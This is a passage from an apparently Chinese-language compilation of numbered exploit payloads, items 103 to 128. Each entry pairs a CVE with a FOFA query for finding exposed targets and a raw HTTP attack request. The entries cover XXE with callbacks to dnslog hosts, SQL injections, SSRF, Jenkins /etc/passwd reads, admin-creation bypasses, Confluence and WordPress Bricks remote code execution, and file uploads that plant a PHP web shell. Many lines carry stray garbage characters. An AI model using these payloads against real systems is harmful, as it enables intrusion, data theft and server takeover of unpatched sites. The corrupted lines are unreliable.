1 B/ H3 z; B0 r$ `6 z$ \<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  <ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>

! |+ j. H& ?1 }# |$ L. T103. Ivanti Pulse Connect Secure VPN XXE
0 F5 J) {6 y5 K7 }CVE-2024-22024
2 Z& |5 B2 L+ p2 [FOFA：body="welcome.cgi?p=logo"
POST /dana-na/auth/saml-sso.cgi HTTP/1.1
Host: 192.168.40.130:111
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
Content-Length: 204
% [, ?/ S0 B$ Y  `% k/ ]Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

SAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==
# p# ~' s% w6 \; y% L2 ]  T2 p

, H4 b  L+ L4 f6 X其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>
' M4 h2 F% h" t/ D( T0 r
7 L# O0 o2 N5 \, ]+ Y
+ K+ }3 S3 }& J; r6 m1 f104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
CVE-2024-0569
FOFA：title="TOTOLINK"
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host:192.168.0.1
Content-Length:41
Accept:application/json,text/javascript，*/*;q=0.01
- M) N3 B$ e! f2 ]6 |) J5 mX-Requested-with: XMLHttpRequest
# p' E$ a3 |- y. ]0 g; j  `User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
Content-Type: application/x-www-form-urlencoded:charset=UTF-8
  j# O7 r0 I8 A6 `7 ~3 xOrigin: http://192.168.0.1
% {& S6 j& c0 hReferer: http://192.168.0.1/advance/index.html?time=1671152380564
Accept-Encoding:gzip,deflate
! N6 F1 Q$ R+ T+ x4 UAccept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
Connection:close

{
"topicurl":"getSysStatusCfg",
"token":""
4 O- V; ?3 j5 q0 L* D4 @) j: C' \}

$ {) n: V- x" L& W% r105. SpringBlade v3.2.0 export-user SQL 注入
FOFA：body="https://bladex.vip"
9 `$ F5 s& Y( }, \8 G% o3 Xhttp://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1

: W, D! l- j: C, ?106. SpringBlade dict-biz/list SQL 注入
FOFA：body="Saber 将不能正常工作"
GET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
" t% L5 {+ ^& z, F9 O" U* [Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
- l! t5 B! e& B  @. G2 ZBlade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
" b+ a$ _( Z( k" D) dConnection: close
6 z, @# i% @2 I% S

2 t8 C! Z1 o; G9 y5 ~& P107. SpringBlade tenant/list SQL 注入
. b( b* T' I2 p/ T; RFOFA：body="https://bladex.vip"
2 f; i. C! `, {GET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
' O. K1 T1 {+ I+ O/ KHost: your-ip
5 |/ D1 T, Y2 i, O: i& b8 jUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Blade-Auth:替换为自己的
Connection: close


108. D-Tale 3.9.0 SSRF
CVE-2024-21642
FOFA："dtale/static/images/favicon.png"
- q6 B. P- n# k9 h% AGET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
Host: your-ip
9 }% M, F/ o' j& YAccept: application/json, text/plain, */*
' B5 R$ [1 A4 N/ n2 jUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
* v4 i1 o) y+ J2 y. VAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
0 \. m! P, F7 I! y* S4 mConnection: close
9 r- ?  ]' i; F, j

109. Jenkins CLI 任意文件读取
( a4 K4 }' k) K" W$ y. S; J: LCVE-2024-23897
FOFA：header="X-Jenkins"
POST /cli?remoting=false HTTP/1.1
5 u* c" s0 B7 }4 g( VHost:
Content-type: application/octet-stream
Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
3 h' t# n, e, I: D* T. g. A( YSide: upload
$ O; M: `' d: @- v1 g* gConnection: keep-alive
Content-Length: 163

) n. n0 v, u# p; A2 v2 ]b'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'

& J& F% e4 Q# {3 Y8 F: v1 V* O
) }5 J& c  h& p$ d! l9 ]% |% f% DPOST /cli?remoting=false HTTP/1.1
Host:
Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
download
Content-Type: application/x-www-form-urlencoded
: }- `5 R# A/ p  GContent-Length: 0
4 G5 a1 j- r$ i
. ]: b* ^8 R0 e" f& {. }7 _
ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
java -jar jenkins-cli.jar help
[COMMAND]
Lists all the available commands or a detailed description of single command.
COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)


- u9 _0 g! f6 f, y4 @110. Goanywhere MFT 未授权创建管理员
CVE-2024-0204
FOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
GET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
Host: 192.168.40.130:8000
& r+ l# k4 q* O9 h/ q" X+ z5 YUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
" E, m# y# @% k* [' eConnection: close
Accept: */*
Accept-Language: en
2 f2 G4 F, D1 e$ a* u1 XAccept-Encoding: gzip
- D* ?& n" f( X% p4 \
* H7 }- u( j: W0 g0 U
0 \* v5 T, ]( Q) K6 d111. WordPress Plugin HTML5 Video Player SQL注入
CVE-2024-1061
FOFA："wordpress" && body="html5-video-player"
GET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
7 X! y4 D/ b. z" d0 r% IHost: 192.168.40.130:112
2 H/ l" i, O" B, LUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
; s; ]; @. N% c/ Z( U+ pAccept: */*
/ o0 P  U( ?' U+ kAccept-Language: en
- U/ v2 Q6 C7 d& pAccept-Encoding: gzip
( y4 c  z& l: F4 R1 T' b$ `' T# j) F
# E% S- d) g- \) S, I
; M3 G1 c1 M1 {$ s! N112. WordPress Plugin NotificationX SQL 注入
/ Q# W& }" [( Y1 m# `9 o$ e! S4 D; `CVE-2024-1698
2 n  m: o( e' {- b1 h% q# C  z9 yFOFA：body="/wp-content/plugins/notificationx"
- f; H- Z/ n  W8 z% o# }9 ZPOST /wp-json/notificationx/v1/analytics HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json

2 z1 C1 l) [0 b' z{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}


113. WordPress Automatic 插件任意文件下载和SSRF
CVE-2024-27954
FOFA："/wp-content/plugins/wp-automatic"
GET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
4 m1 C! J" Q* a6 O* u9 zHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
4 g# S. T2 ]! r" |8 YConnection: close
Accept: */*
Accept-Language: en
/ t% S+ M/ }& lAccept-Encoding: gzip
! b# R3 V) e: S1 \/ m) e* S
$ U7 c! `6 u2 h; i( V9 J
114. WordPress MasterStudy LMS插件 SQL注入
FOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
4 q! g8 X1 ~  KGET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
& b. R4 o+ [7 s  }0 \8 YHost: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close


9 d! C, Z) q0 w6 c$ R115. WordPress Bricks Builder <= 1.9.6 RCE
CVE-2024-25600
FOFA: body="/wp-content/themes/bricks/"
第一步，获取网站的nonce值
GET / HTTP/1.1
Host: x.x.x.x
7 ]9 ^9 ~' A3 i. N/ ?& X5 iUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
" D3 R3 D  _0 `# sConnection: close
( l8 v0 j( t$ P5 r, W9 NAccept-Encoding: gzip

/ g2 m! R2 I# Q, [, n0 d+ S
' ]  ?3 a! t0 M0 a. ]9 M第二步替换nonce值，执行命令
! ^  k% a7 V" m% ?POST /wp-json/bricks/v1/render_element HTTP/1.1
5 c4 `- C( s' }7 o: ^Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
/ T: ~$ N( P- L% wContent-Length: 356
/ j* s; C# G2 N8 _: a& i/ KContent-Type: application/json
% D" M# s/ [: C" }2 |  C# CAccept-Encoding: gzip

{
5 z- x, T: z0 [' I2 n( ["postId": "1",
  "nonce": "第一步获得的值",
: w4 T4 v! J4 q9 `; H! ?  "element": {
    "name": "container",
    "settings": {
      "hasLoop": "true",
      "query": {
% v3 H4 A; G0 w4 a% a        "useQueryEditor": true,
        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
7 e" @: Q) p# Z2 f6 j        "objectType": "post"
      }
    }
+ j$ u% l0 c; ~0 K  I/ A. u' t2 l  }
}

2 \9 \2 Y7 U$ b, \  Y2 p+ F
116. wordpress js-support-ticket文件上传
- w# {* `1 }7 \  bFOFA：body="wp-content/plugins/js-support-ticket"
POST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
  x7 e" R2 K0 M/ K: L& pHost:
Content-Type: multipart/form-data; boundary=--------767099171
1 _* C. F% s+ k% S6 M$ dUser-Agent: Mozilla/5.0

----------767099171
Content-Disposition: form-data; name="action"
. q. q" l  j" ~) {3 N. ~configuration_saveconfiguration
- q4 N) L* N4 W: D9 y----------767099171
Content-Disposition: form-data; name="form_request"
' H$ }% {! R, d- F' Ejssupportticket
4 \1 j1 z/ Y  r  u----------767099171
Content-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
Content-Type: image/png
----------767099171--

9 @& v* H# G/ P6 ?6 b  b
117. WordPress LayerSlider插件SQL注入
( D/ v1 N+ G4 G# H0 [version：7.9.11 – 7.10.0
- M$ m' y8 H0 xFOFA：body="/wp-content/plugins/LayerSlider/"
GET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
  y/ X+ B( T3 m4 HHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
% ^* b, [/ q" l: jAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
/ A0 P. {+ ]) C8 `5 \Accept-Encoding: gzip, deflate, br
Connection: close
3 ?6 d" N7 R% D( p; @4 I7 ^3 S1 rUpgrade-Insecure-Requests: 1


0 W. U1 x& m2 b# \118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
# K  E* U- g8 A% J* p& G6 rCVE-2024-0939
FOFA：title="Smart管理平台"
( l) h9 X; V( }9 w( jPOST /Tool/uploadfile.php? HTTP/1.1
! q+ W" {. K3 T% i" y' a1 u2 `Host: 192.168.40.130:8443
7 ]5 w* E, Q, ?& B( T9 iCookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
' c2 g% {4 {4 N, _! e% t! c& sUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
  J, M7 k9 x, \" g+ NAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
/ B0 P( G" Z* j9 SAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
5 ?& Z  d1 _. k, |Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
Content-Length: 405
Origin: https://192.168.40.130:8443
Referer: https://192.168.40.130:8443/Tool/uploadfile.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
7 A( q# u0 Z+ |* C) ~Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
: \9 j) h+ l6 V- yConnection: close
' M8 Q9 D5 Q" X, o6 R- P
-----------------------------13979701222747646634037182887
* r6 l" J) \7 Y$ K7 h: kContent-Disposition: form-data; name="file_upload"; filename="contents.php"
' z3 b: _9 s; ~Content-Type: application/octet-stream

* D; m  d7 A$ Z7 C- d) v  H/ z) D<?php
system($_POST["passwd"]);
6 N& p4 y4 h# \1 ~?>
/ }  J4 E7 J) h4 ~- `-----------------------------13979701222747646634037182887
Content-Disposition: form-data; name="txt_path"

/home/src.php
-----------------------------13979701222747646634037182887--
% |# j3 k, c' e" L2 j

访问/home/src.php

119. 北京百绰智能S20后台sysmanageajax.php sql注入
' m: ]5 |6 K3 P! R( C% S# jCVE-2024-1254
FOFA：title="Smart管理平台"
先登录进入系统，默认账号密码为admin/admin
POST /sysmanage/sysmanageajax.php HTTP/1.11
Host: x.x.x.x
Cookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
0 h6 E( G1 ?0 N; \7 b; b# D1 jAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
0 C# Q  D) L( U/ l) b$ j7 A! W& nAccept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded;
, y, u% E$ r6 Q1 e5 {) Y( \Content-Length: 109
Origin: https://58.18.133.60:8443
Referer: https://58.18.133.60:8443/sysmanage/manageadmin.php
5 \$ X% S, G5 p6 LSec-Fetch-Dest: empty
/ `- T$ P4 `/ \6 B* @, {Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
X-Forwarded-For: 1.1.1.1
( N1 j% R% s* |- f  |* T5 f2 ^9 GX-Originating-Ip: 1.1.1.1
& n0 _- B: l3 o: TX-Remote-Ip: 1.1.1.1
$ y" y3 H* d; b0 P! ^( B9 VX-Remote-Addr: 1.1.1.1
Te: trailers
Connection: close
8 U) U/ H9 b+ |. g! A$ m! {
src=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456


) Q8 X# }  c/ O1 v120. 北京百绰智能S40管理平台导入web.php任意文件上传
& t3 F& W) \7 D) g5 a1 ^/ @3 ~7 LCVE-2024-1253
* G( v4 {; }3 i0 v% b- J% j  ?FOFA：title="Smart管理平台"
; y- p. _0 N9 @. R7 I' YPOST /useratte/web.php? HTTP/1.1
3 x3 w/ V9 e6 G  BHost: ip:port
Cookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
4 M- ]0 p% |& K2 e) ?. BAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
( v+ g9 r& K3 X8 |Accept-Encoding: gzip, deflate
+ ~/ w- _2 D- U% o6 j4 G& QContent-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 597
! ]! N4 a6 E" S* _2 {Origin: https://ip:port
Referer: https://ip:port/sysmanage/licence.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
/ I9 m& w3 ~0 O1 l& O6 u1 RSec-Fetch-Mode: navigate
4 A  y! X9 n4 T1 A( J# F) N% D; pSec-Fetch-Site: same-origin
4 \9 c% F# M' r3 FSec-Fetch-User: ?1
Te: trailers
' {* w) X0 z# l. \# n; \& ^Connection: close
7 `0 R9 i, _3 g# @7 }2 a% w! Q7 i) G6 F
% [6 }  m6 s2 s6 e$ u3 |  ~" F-----------------------------42328904123665875270630079328
. Q' h; X  K2 _: E2 [# xContent-Disposition: form-data; name="file_upload"; filename="2.php"
" b. F. h; p5 U8 w" j9 [( ]  ?6 t7 VContent-Type: application/octet-stream

. M& G3 x3 Z& `4 Q<?php phpinfo()?>
0 j! `) b: z9 n% Y! q-----------------------------42328904123665875270630079328
$ d" t) ?5 h6 hContent-Disposition: form-data; name="id_type"
5 i5 Q# T5 Q4 [8 d
1
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="1_ck"

1 {3 J- R) ?9 `1_radhttp
-----------------------------42328904123665875270630079328
1 h  B# a6 M- o+ ?( {5 JContent-Disposition: form-data; name="mode"
6 `- A. |+ i8 ^. T3 T- y6 ?
  K" M7 [. o; p9 eimport
-----------------------------42328904123665875270630079328


文件路径/upload/2.php
; y' e  ?7 R# A% ~
121. 北京百绰智能S42管理平台userattestation.php任意文件上传
CVE-2024-1918
- p% \0 U7 t' M4 S  `) nFOFA：title="Smart管理平台"
, y* n8 K, _0 p& r$ p1 S- _POST /useratte/userattestation.php HTTP/1.1
9 e1 ]) o% Q$ U; x/ AHost: 192.168.40.130:8443
- Z; G  c& A8 A* d" z+ jCookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
% I& D9 @: j( Z4 P6 c4 w. dAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- a  `0 t4 E& b1 r4 |) gAccept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
0 ?) f; W! o# ^Content-Length: 592
( |1 Q* O# P( h% R# |* GOrigin: https://192.168.40.130:8443
. d1 t( N7 r! FUpgrade-Insecure-Requests: 1
  D+ M; n% ^; Q" PSec-Fetch-Dest: document
9 c; _' Y& _& cSec-Fetch-Mode: navigate
; Z9 p* u  n4 KSec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
9 \+ B# ^9 A0 d* d+ ^- G1 q2 R5 n+ }Te: trailers
Connection: close

- Y0 n  b- N7 _) k-----------------------------42328904123665875270630079328
/ ]4 S. p" u- i' @Content-Disposition: form-data; name="web_img"; filename="1.php"
Content-Type: application/octet-stream
9 K) B; ]0 F; r; i) s
* \/ u* R1 n( t! T<?php phpinfo();?>
* s. C( q; x6 A, n2 X-----------------------------42328904123665875270630079328
- B4 L& R* [$ m) h: l; G6 I2 Y  zContent-Disposition: form-data; name="id_type"
5 I6 \. f8 w8 r" k! l
1
0 D7 [: h$ {  @. b" c9 Y' i-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="1_ck"
) c5 M. ?& _2 [$ l
8 }7 A6 e( J: \, K1_radhttp
-----------------------------42328904123665875270630079328
% R! l+ t/ l$ ~/ b! DContent-Disposition: form-data; name="hidwel"

set
) P) C% h6 ^: D8 h-----------------------------42328904123665875270630079328
1 ~# {" f/ b( x

/ l2 @! L# b& g2 K" L1 R" Qboot/web/upload/weblogo/1.php
+ D, m5 s  A- p9 _) u9 k- ^' R
122. 北京百绰智能s200管理平台/importexport.php sql注入
CVE-2024-27718FOFA：title="Smart管理平台"
其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
! \/ E, H, Y5 w0 l) m2 _& r. |1 V+ N1 dGET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
' N" ~2 {! z4 m% b2 G  pHost: x.x.x.x
" x( P2 |1 k; d5 F# YCookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
& o. V& N% J& c% T. j( W+ m7 dUpgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
$ I; q5 A$ ~  RSec-Fetch-Mode: navigate
# Y8 X" \5 P  JSec-Fetch-Site: none
Sec-Fetch-User: ?1
5 `- }0 P) R3 j! d. PTe: trailers
Connection: close
5 A7 L/ Y0 K, {; w8 K
+ \7 ~/ G6 \; s/ [- ~
123. Atlassian Confluence 模板注入代码执行
' p0 h, E2 N1 E' ?6 d6 K0 ?% K2 H1 QFOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
; B+ u% g2 A6 U4 [POST /template/aui/text-inline.vm HTTP/1.1
Host: localhost:8090
& f( \4 T8 T8 d" Y$ hAccept-Encoding: gzip, deflate, br
5 V; e; p3 r; ?0 a# w0 Q0 bAccept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Connection: close
/ D/ g* d8 |0 `" \5 n/ QContent-Type: application/x-www-form-urlencoded

label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))
$ d/ X. p2 g; D! P4 d
: B! g0 P* J+ r* f5 Z6 s
- ^( t- E0 V- _  C5 y124. 湖南建研工程质量检测系统任意文件上传
FOFA：body="/Content/Theme/Standard/webSite/login.css"
POST /Scripts/admintool?type=updatefile HTTP/1.1
Host: 192.168.40.130:8282
, o, \+ r; z6 `! o' [User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Content-Length: 72
4 p' y$ d8 F8 q, rAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
% m" Y0 c3 N% O  t0 r( I. ]Accept-Encoding: gzip, deflate, br
7 F+ Y: c! D+ ]! D4 c, m4 G, @4 CAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/x-www-form-urlencoded

3 R* p8 q; C8 c' qfilePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>
9 ?) c$ {  C% u/ R+ v- m

http://192.168.40.130:8282/Scripts/abcgcg.aspx

125. ConnectWise ScreenConnect身份验证绕过
CVE-2024-1709
FOFA：icon_hash="-82958153"
% r: P7 ]3 H% b! [4 ehttps://github.com/watchtowrlabs ... bypass-add-user-poc


使用方法
python watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!
! [0 m  S$ B; J$ ~: d9 f# m

( w- P3 t& L( l# _+ u创建好用户后直接登录后台，可以执行系统命令。

: z0 W5 y3 b* s0 c126. Aiohttp 路径遍历
FOFA：title=="ComfyUI"
GET /static/../../../../../etc/passwd HTTP/1.1
Host: x.x.x.x
. a- |& U9 |0 t$ W' ^* h3 QUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
+ C  ], D& P  @. ], N; J( |  xConnection: close
+ h+ y, z; ]1 |- f8 TAccept: */*
Accept-Language: en
. k) x( h: y; q1 D5 rAccept-Encoding: gzip


127. 广联达Linkworks DataExchange.ashx XXE
' Q: x5 J0 g8 n$ p6 V# m  RFOFA：body="Services/Identification/login.ashx"
8 [8 G# M* H- PPOST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
Host: 192.168.40.130:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Content-Length: 415
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
) v3 g1 D4 |, p" @; IContent-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
Purpose: prefetch
7 O/ }4 R4 Z$ J, F# ESec-Purpose: prefetch;prerender

------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="SystemName"

* W8 o) ]  M& g9 Y4 b  TBIM
------WebKitFormBoundaryJGgV5l5ta05yAIe0
' A) M& E- G, B( N: h% [5 hContent-Disposition: form-data;name="Params"
Content-Type: text/plain

- X  Q. A$ O+ d( O& R" j<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
- u3 V: G9 ]# D9 e" ]]
( F' p4 i5 \3 q/ ]; t9 f8 N! ]) E>
<test>&t;</test>
6 G" c0 K9 c6 b4 C* H------WebKitFormBoundaryJGgV5l5ta05yAIe0--
5 \) m. ~. I7 W6 ^9 N
% s+ S2 O2 r2 j1 n% o& u% J
( j5 Z& x) I3 Z
5 [8 B' {9 ^7 Z! a1 C  u* ~128. Adobe ColdFusion 反序列化
CVE-2023-38203
: P- i$ I# P& y: ^5 hAdobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
FOFA：app="Adobe-ColdFusion"
